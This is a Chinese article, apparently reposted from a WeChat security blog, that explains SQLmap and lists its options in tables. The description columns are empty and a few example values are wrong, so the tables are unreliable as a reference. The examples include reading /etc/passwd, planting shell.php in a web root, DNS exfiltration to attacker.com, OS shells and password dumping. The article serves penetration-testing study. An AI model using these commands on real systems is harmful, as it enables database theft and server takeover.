SQLmap 是什么?
SQLmap 是一个开源的渗透测试工具,可自动化检测和利用SQL 注入漏洞,并接管资料库服务器。它具有强大的检测引擎,许多特色功能,可供最终渗透测试人员使用,以及广泛的开关范围,从资料库指纹识别,到从资料库获取资料,再到通过带外连接存取底层档案系统和在作业系统上执行命令。
为什么使用SQLmap
在许多Web 应用程式中,SQL 注入漏洞是常见的安全问题之一,因为它们使攻击者可以通过操作资料库中的资料进行损坏,甚至接管整个资料库系统。 SQLmap的主要目的是自动化检测和利用这些漏洞,从而减轻渗透测试人员的工作负担,节省时间和成本,并提高渗透测试的准确性和可靠性。
如何使用SQLmap?
SQLmap 可以在命令行中使用,根据需要添加不同的参数和选项。使用SQLmap的基本步骤如下:
a. 识别目标URL b. 分析目标网站的漏洞和资料库结构 c. 使用不同的技术和参数进行注入测试 d. 通过dumping和爆破等方式获取目标资料库中的资料 e. 利用out-of-band连接等方式进一步扩大攻击面 f. 创建报告并整理测试结果。
SQLmap 参数Usage 说明
|
|
|
|
|
---|---|---|---|---|
|
|
|
|
-u |
|
|
|
|
-r, -H, --data, --cookie |
|
|
|
|
-n, --batch, --threads, --eta, --timeout |
|
|
|
|
-p, -D, -T, --level, --risk, --prefix, --suffix, --string, --hex |
|
|
|
|
-f, --technique, --fresh-queries, --parse-errors |
|
|
|
|
--technique, --time-sec, --union-cols, --union-char, --udf-inject, --os-cmd, --os-shell, --tamper |
|
|
|
|
--fingerprint |
|
|
|
|
-D, -T, -C, --exclude-sysdbs, --sql-query, --sql-shell, --sql-file |
|
|
|
|
--common-tables, --common-columns, --common-file-read, --common-hashes, --privileges, --users, --passwords |
|
|
|
|
--udf-inject |
|
|
|
|
--file-read, --file-write, --file-dest, --file-filter, --file-dump |
|
|
|
|
--os-shell, --os-pwn |
|
|
|
|
--reg-read, --reg-write, --reg-del, --reg-key, --reg-value |
|
|
|
|
--batch, --time-sec, --delay, --level, --risk |
|
|
|
|
--update, --wizard, --alert, --beep, --tmp-dir |
Options
|
|
|
|
---|---|---|---|
-h
--help |
|
|
sqlmap -h |
-hh |
|
|
sqlmap -hh |
--version |
|
|
sqlmap --version |
-v VERBOSE |
|
|
sqlmap -v 3 |
Target
|
|
|
|
---|---|---|---|
-u URL
--url=URL |
|
|
sqlmap -u "https://blog.feifei.tw/vuln.php?id=1" |
-d DIRECT |
|
|
sqlmap -d "mysql://root:password@localhost/testdb" |
-l LOGFILE |
|
|
sqlmap -l /path/to/proxy.log |
-m BULKFILE |
|
|
sqlmap -m /path/to/targets.txt |
-r REQUESTFILE |
|
|
sqlmap -r /path/to/request.txt |
-g GOOGLEDORK |
|
|
sqlmap -g "inurl:php?id=" |
-c CONFIGFILE |
|
|
sqlmap -c /path/to/config.ini |
Request
|
|
|
|
---|---|---|---|
-A
--user-agent=AGENT |
|
|
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" |
-H
--header=HEADER |
|
|
--header="X-Forwarded-For: 127.0.0.1" |
--method=METHOD |
|
|
--method=PUT |
--data=DATA |
|
|
--data="id=1 and 1=1" |
--param-del=PARAM_DELIM |
|
|
--param-del='&' |
--cookie=COOKIE |
|
|
--cookie="PHPSESSID=a8d127e52ecb6a0d60f03c86a29a9d2a" |
--cookie-del=COOKIE_DELIM |
|
|
--cookie-del=';' |
--live-cookies=LIVE_COOKIES |
|
|
--live-cookies=/path/to/live_cookies.txt |
--load-cookies=LOAD_COOKIES |
|
|
--load-cookies=/path/to/cookies.txt |
--drop-set-cookie |
|
|
--drop-set-cookie |
--mobile |
|
|
--mobile |
--random-agent |
|
|
--random-agent |
--host=HOST |
|
|
--host=www.feifei.tw |
--referer=REFERER |
|
|
--referer=https://www.google.com/ |
--headers=HEADERS |
|
|
--headers="Accept-Language: frnETag: 123" |
--auth-type=AUTH_TYPE |
|
|
--auth-type=Digest |
--auth-cred=AUTH_CRED |
|
|
--auth-cred=Digest |
--auth-cred=AUTH_CRED |
|
|
--auth-cred=admin:password |
--auth-file=AUTH_FILE |
|
|
--auth-file=/path/to/auth.pem |
--ignore-code=IGNORE_CODE |
|
|
--ignore-code=401 |
--ignore-proxy |
|
|
--ignore-proxy |
--ignore-redirects |
|
|
--ignore-redirects |
--ignore-timeouts |
|
|
--ignore-timeouts |
--proxy=PROXY |
|
|
--proxy=https://localhost:8080 |
--proxy-cred=PROXY_CRED |
|
|
--proxy-cred=username:password |
--proxy-file=PROXY_FILE |
|
|
--proxy-file=proxies.txt |
--proxy-freq=PROXY_FREQ |
|
|
--proxy-freq=10 |
--tor |
|
|
--tor |
--tor-port=TOR_PORT |
|
|
--tor-port=9050 |
--tor-type=TOR_TYPE |
|
|
--tor-type=SOCKS5 |
--check-tor |
|
|
--check-tor |
--delay=DELAY |
|
|
--delay=5 |
--timeout=TIMEOUT |
|
|
--timeout=60 |
--retries=RETRIES |
|
|
--retries=5 |
--randomize=RPARAM |
|
|
--randomize=param1,param2 |
--safe-url=SAFEURL |
|
|
--safe-url=https://www.feifei.tw |
--safe-post=SAFE_POST_DATA |
|
|
--safe-post='username=admin&password=password123' |
--safe-req=SAFE_REQUEST_FILE |
|
|
--safe-req=/path/to/safe_request.txt |
--safe-freq=SAFE_REQUEST_INTERVAL |
|
|
--safe-freq=10 |
--skip-urlencode |
|
|
--skip-urlencode |
--csrf-token=CSRFPARAM |
|
|
--csrf-token=csrf_token |
--csrf-url=CSRFURL |
|
|
--csrf-url=https://www.feifei.tw/csrf |
--csrf-method=CSRFPARAM |
|
|
--csrf-method=POST |
--csrf-retries=CSRFRETRIES |
|
|
--csrf-retries=3 |
--force-ssl |
|
|
--force-ssl |
--chunked |
|
|
--chunked |
--hpp |
|
|
--hpp |
--eval=EVALCODE |
|
|
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()" |
Optimization
|
|
|
|
---|---|---|---|
-o |
|
|
-o |
--predict-output |
|
|
--predict-output |
--keep-alive |
|
|
--keep-alive |
--null-connection |
|
|
--null-connection |
--threads=THREADS |
|
|
--threads=10 |
Injection
|
|
|
|
---|---|---|---|
-p TESTPARAMETER |
|
|
-p id |
--skip=SKIP |
|
|
--skip=password |
--skip-static |
|
|
--skip-static |
--param-exclude=REGEX |
|
|
|
--param-filter=PARAMETER_FILTER |
|
|
--param-filter=GET |
--dbms=DBMS |
|
|
--dbms=mysql |
--dbms-cred=DBMS_CREDENTIALS |
|
|
--dbms-cred=root:toor |
--os=OS |
|
|
--os=Linux |
--invalid-bignum |
|
|
--invalid-bignum |
--invalid-logical |
|
|
--invalid-logical |
--invalid-string |
|
|
--invalid-string |
--no-cast |
|
|
--no-cast |
--no-escape |
|
|
--no-escape |
--prefix=PREFIX |
|
|
--prefix="' |
--suffix=SUFFIX |
|
|
--suffix=# |
--tamper=TAMPER |
|
|
--tamper=apostrophemask.py |
--technique=TECHNIQUES |
|
|
--technique=BEUST |
--time-sec=TIMESEC |
|
|
--time-sec=10 |
--union-cols=UCOLS |
|
|
--union-cols=1-5 |
--union-char=UCHAR |
|
|
|
Detection
|
|
|
|
---|---|---|---|
--level=LEVEL |
|
|
--level=5 |
--risk=RISK |
|
|
--risk=2 |
--string=STRING |
|
|
--string="Welcome admin" |
--not-string=NOTSTRING |
|
|
--not-string="Access denied" |
--regexp=REGEXP |
|
|
|
--code=CODE |
|
|
--code=200 |
--smart |
|
|
--smart |
--text-only |
|
|
--text-only |
--titles |
|
|
--titles |
Techniques
|
|
|
|
---|---|---|---|
--technique=TECH |
|
|
--technique=U |
--time-sec=TIMESEC |
|
|
--time-sec=10 |
--union-cols=UCOLS |
|
|
--union-cols=1-5 |
--union-char=UCHAR |
|
|
--union-char=^ |
--union-from=UFROM |
|
|
--union-from=users |
--dns-domain=DNS |
|
|
--dns-domain=attacker.com |
--second-url=SECURL |
|
|
--second-url=https://blog.feifei.tw/dashboard.php |
--second-req=SECREQ |
|
|
--second-req=second-order-request.txt |
Enumeration
|
|
|
|
---|---|---|---|
-a, --all |
|
|
-a |
-b, --banner |
|
|
-b |
--current-user |
|
|
--current-user |
--current-db |
|
|
--current-db |
--hostname |
|
|
--hostname |
--is-dba |
|
|
--is-dba |
--users |
|
|
--users |
--passwords |
|
|
--passwords |
--privileges |
|
|
--privileges |
--roles |
|
|
--roles |
--dbs |
|
|
--dbs |
--tables |
|
|
--tables |
--columns |
|
|
--columns |
--schema |
|
|
--schema |
--count |
|
|
--count |
--dump |
|
|
--dump |
--dump-all |
|
|
--dump-all |
--search |
|
|
--search |
--comments |
|
|
--comments |
--statements |
|
|
--statements |
-D DB |
|
|
-D database_name |
-T TBL |
|
|
-T table_name |
-C COL |
|
|
-C column_name |
-X EXCLUDE |
|
|
-X database_identifier |
-U USER |
|
|
-U user_name |
--exclude-sysdbs |
|
|
--exclude-sysdbs |
--pivot-column=PNAME |
|
|
--pivot-column=column_name |
--where=DUMPWHERE |
|
|
--where="column_name='value'" |
--start=LIMITSTART |
|
|
--start=10 |
--stop=LIMITSTOP |
|
|
--stop=20 |
--first=FIRSTCHAR |
|
|
--first=1 |
--last=LASTCHAR |
|
|
--last=10 |
--sql-query=SQLQUERY |
|
|
--sql-query="SELECT * FROM table_name" |
--sql-shell |
|
|
--sql-shell |
--sql-file=SQLFILE |
|
|
--sql-file=query_file.sql |
Brute force
|
|
|
|
---|---|---|---|
--common-tables |
|
|
--common-tables |
--common-columns |
|
|
--common-columns |
--common-files |
|
|
--common-files |
User-defined function injection
|
|
|
|
---|---|---|---|
|
|
|
--udf-inject=udf_lib.so |
|
|
|
--shared-lib=/tmp/udf_lib.so |
File system acces
|
|
|
|
---|---|---|---|
--file-read=FILEPATH |
|
|
--file-read=/etc/passwd |
-file-write=FILEPATH |
|
|
--file-write=local_file.txt |
--file-dest=FILEPATH |
|
|
--file-dest=/var/www/html/shell.php |
Operating system access
|
|
|
|
---|---|---|---|
-os-cmd=COMMAND |
|
|
--os-cmd="ls -la" |
--os-shell |
|
|
--os-shell |
--os-pwn |
|
|
--os-pwn |
--os-smbrelay |
|
|
--os-smbrelay |
--os-bof |
|
|
--os-bof |
--priv-esc |
|
|
--priv-esc |
--msf-path=MSFPATH |
|
|
--msf-path=/opt/metasploit |
--tmp-path=TMPPATH |
|
|
--tmp-path=/var/tmp/ |
Windows registry access
|
|
|
|
---|---|---|---|
--reg-read |
|
|
--reg-read |
--reg-add |
|
|
--reg-add |
--reg-del |
|
|
--reg-del |
--reg-key=REGKEY |
|
|
--reg-key="HKLMSOFTWAREMicrosoft" |
--reg-value=REGVAL |
|
|
--reg-value=Version |
--reg-data=REGDATA |
|
|
--reg-data=12 |
--reg-type=REGTYPE |
|
|
--reg-type=REG_DWORD |
General
|
|
|
|
---|---|---|---|
-s SESSIONFILE |
|
|
-s session.sqlite |
-t TRAFFICFILE |
|
|
-t traffic.txt |
--answers=ANSWERS |
|
|
--answers=quit=N,follow=Y |
--base64=BASE64PARAMETER |
|
|
--base64=auth=bG9naW46cGFzc3dvcmQ= |
--base64-safe |
|
|
--base64-safe |
--batch |
|
|
--batch |
--binary-fields=BINARYFIELDS |
|
|
--binary-fields=digest,cookie |
--check-internet |
|
|
--check-internet |
--cleanup |
|
|
--cleanup |
--crawl=CRAWLDEPTH |
|
|
--crawl=3 |
--crawl-exclude=CRAWLEXCLUDE |
|
|
--crawl-exclude=logout |
--csv-del=CSVDEL |
|
|
--csv-del=";" |
--charset=CHARSET |
|
|
--charset=utf8 |
--dump-format=DUMPFORMAT |
|
|
--dump-format=HTML |
--encoding=ENCODING |
|
|
|
--eta |
|
|
--eta |
--flush-session |
|
|
--flush-session |
--forms |
|
|
--forms |
--fresh-queries |
|
|
--fresh-queries |
--gpage=GOOGLEPAGE |
|
|
--gpage=2 |
--har=HARFILE |
|
|
--har=/path/to/file.har |
--hex |
|
|
--hex |
--output-dir=OUTPUT_DIR |
|
|
--output-dir=/path/to/directory |
--parse-errors |
|
|
--parse-errors |
--preprocess=PREPROCESS |
|
|
--preprocess=/path/to/script |
--postprocess=POSTPROCESS |
|
|
--postprocess=/path/to/script |
--repair |
|
|
--repair |
--save=SAVECONFIG |
|
|
--save=/path/to/file.ini |
--scope=SCOPE |
|
|
--scope=https://blog.feifei.tw |
--skip-heuristics |
|
|
--skip-heuristics |
--skip-waf |
|
|
--skip-waf |
--table-prefix=TABLE_PREFIX |
|
|
--table-prefix=myapp_ |
--test-filter=TEST_FILTER |
|
|
--test-filter="AND(SELECT 1 FROM DBMS_RANDOM)='" |
--test-skip=TEST_SKIP |
|
|
--test-skip="AND (SELECT * FROM mytable)='" |
--web-root=WEB_ROOT |
|
|
--web-root=/var/www/html/ |
Miscellaneous
|
|
|
|
---|---|---|---|
-z MNEMONICS |
|
|
-z flu,bat,ban,tec=EU |
--alert=ALERT |
|
|
--alert="ls -la" |
--beep |
|
|
--beep |
--dependencies |
|
|
--dependencies |
--disable-coloring |
|
|
--disable-coloring |
--list-tampers |
|
|
--list-tampers |
--offline |
|
|
--offline |
--purge |
|
|
--purge |
--results-file=RESULTS_FILE |
|
|
--results-file=/path/to/results.csv |
--shell |
|
|
--shell |
--tmp-dir=TMPDIR |
|
|
--tmp-dir=/path/to/tmpdir |
--unstable |
|
|
--unstable |
--update |
|
|
--update |
--wizard |
|
|
--wizard |
原文始发于微信公众号(柯基的安全笔记):SQLMap终极指南|SQL注入测试命令详解(附CheatSheet)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论